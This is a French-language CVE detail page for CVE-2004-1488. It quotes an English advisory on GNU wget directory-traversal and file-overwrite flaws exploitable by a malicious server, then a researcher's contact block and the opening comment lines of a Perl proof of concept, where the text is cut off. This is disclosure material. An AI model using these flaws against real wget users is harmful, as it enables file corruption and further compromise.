CVE-2004-1488 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

source: https://www.securityfocus.com/bid/11871/info Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include: - a potential directory-traversal issue - an arbitrary file-overwriting vulnerability - a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application. -- )^o-o^| jabber: rdancer@NJS.NetLab.Cz | .v K e-mail: jjminar FastMail FM ` - .' phone: +44(0)7981 738 696 \ __/Jan icq: 345 355 493 __|o|__Min?? irc: rdancer@IRC.FreeNode.Net #!/usr/bin/perl -W # wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability # # Copyright 2004 Jan Min????
